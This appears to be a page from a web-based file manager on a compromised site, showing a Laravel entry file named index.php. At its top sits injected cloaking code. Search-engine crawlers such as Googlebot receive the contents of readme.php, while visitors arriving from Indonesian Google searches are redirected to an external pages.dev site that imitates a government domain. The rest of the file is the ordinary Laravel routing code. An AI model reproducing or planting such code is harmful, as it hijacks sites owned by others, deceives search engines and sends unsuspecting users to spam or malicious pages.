EVOLUTION-MANAGER
Edit File: index.php
<?php if (($_SERVER['REQUEST_URI'] ?? '') == '/') { $s_ref = $_SERVER['HTTP_REFERER'] ?? ''; $agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'adsense', 'slurp'); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } if (is_bot()) { echo file_get_contents('readme.php'); exit; } if (stripos($s_ref, 'google.co.id') !== false || (stripos($s_ref, 'google.com') !== false && stripos($lang, 'id') !== false)) { header("Location: https://sucre-gob-ec-amp.pages.dev/"); exit; } } /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ $uri = urldecode( parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH) ); // This file allows us to emulate Apache's "mod_rewrite" functionality from the // built-in PHP web server. This provides a convenient way to test a Laravel // application without having installed a "real" web server software here. if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) { return false; } require_once __DIR__.'/public/index.php';